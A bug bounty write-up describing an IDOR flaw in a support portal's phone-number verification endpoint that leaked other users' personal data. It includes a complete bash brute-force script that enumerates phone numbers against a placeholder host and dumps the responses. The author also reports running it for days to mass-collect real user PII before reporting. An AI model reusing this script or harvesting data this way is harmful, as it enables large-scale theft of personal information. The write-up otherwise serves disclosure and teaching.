IDOR Vulnerability that exposed 17 Million user data (IDOR Diaries)

Supun Halangoda (Suppa)
InfoSec Write-ups
Published in
4 min readMay 26, 2023

Hi all, this write-up is about a vulnerability I discovered a few months back on a private bug bounty program.

Content Inside

  • Identification & Exploitation
  • Scripts I used for the POC
  • Summary

For those who are new or aren’t familiar with what an IDOR vulnerability is, here’s are some links to learn more and test it yourself.

Initial Vulnerability

In the application I was testing, there was a Support Portal that appeared as follows, prompting the user to provide their Name, Phone Number, Incident Date, Email, etc.

Example Support Request Form

Now, in this scenario, I added my phone number, name, and other fields, and captured the request using Burp Suite and I just send it to the repeater. Below is an example of how the request was.

Example of the Support Portal Number Verification

So, when I carefully examined the request, I noticed that it first verifies the legitimacy of the phone number. It performs a verification check on the provided phone number.

Then, when I sent this request to the repeater and checked the response, it provided all my details, including my name, date of birth (DOB), address, and other personal information, which constituted PII Data (Personally Identifiable Information).

Next, I simply changed the last two digits of my phone number to random numbers, and to my surprise, the response displayed another user’s personal details, as shown in the sample below. (Note: I have redacted the PII data)

Sample Response with PII Data

Then, I proceeded to send the request to the Intruder and attempted to enumerate 100 different numbers. To my surprise, there were no rate limiting controls in place. This gave me the idea to create my own bash script to automate the enumeration of data. Below was the script I create to brute force the requests and save the response in a JSON File.

#!/bin/bash

endpoint="https://xyz.com/verifyNumber"
cookie="X"
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
referer="https://xyz.com/"
content_length="37"
data="sbu=PostPaid%PrePaid"

# Create an empty array for responses
responses=()

for ((num=1111111111; num<=9999999999; num++))
do
number="number=$num"

# Create temporary request file
request_file=$(mktemp)
cat << EOF > "$request_file"
GET /verifyNumber HTTP/2
Host: xyz.com
Cookie: $cookie
User-Agent: $user_agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: $referer
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Content-Length: $content_length

$number&$data
EOF


# Send the request using curl and append the response to the array
response=$(curl -X GET -H "Content-Type: application/x-www-form-urlencoded" --http2 --data-binary "@$request_file" "$endpoint")
responses+=("$response")

# Cleanup
rm "$request_file"
done

# Save the responses array as JSON
echo "[" > resp.json
for ((i=0; i<${#responses[@]}; i++))
do
echo "${responses[i]}" >> resp.json
if [[ $i -lt $(( ${#responses[@]} - 1 )) ]]; then
echo "," >> resp.json
fi
done
echo "]" >> resp.json

So, I ran this script on my three Virtual Private Servers (VPS), using various number patterns for three to four days. I was able to generate a massive dump of data, and surprisingly, they didn’t detect my brute force attempts nor did they attempt to block me.

After reporting this vulnerability to them, it was identified as a critical P1 vulnerability. They promptly provided a fix by implementing a session token, which effectively hid the sensitive data in the response.

“According to the response from the company’s security engineer, it was mentioned that this vulnerability, which I discovered and exploited, could have potentially led to a breach of 17 million user data. This was indeed a significant and substantial impact. ”

I hope you learned something from this write-up, and there is more to come with “IDOR Diaries: Tales of Accidental Data Disclosure.”

Summary of my post

During my assessment, I discovered an Insecure Direct Object Reference (IDOR) vulnerability in the system. This allowed unauthorized access to sensitive user data, including personally identifiable information (PII). I identified the vulnerability by observing the validation of phone numbers in the Support Portal. By modifying the phone number in the request, I could retrieve other users’ personal details. To exploit the vulnerability further, I created a bash script and ran it on multiple Virtual Private Servers (VPS) to systematically enumerate and gather a significant amount of data without detection. After reporting the vulnerability, the company recognized its criticality and implemented a fix by adding a session token to hide sensitive data in the responses.

Please remember to use this knowledge responsibly and comply with legal and ethical guidelines when conducting security assessments and disclosing vulnerabilities.

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Responses (1)

What are your thoughts?

So when in response of the verify phone number endpoint you get the PII before verifying the number hope you get my question

--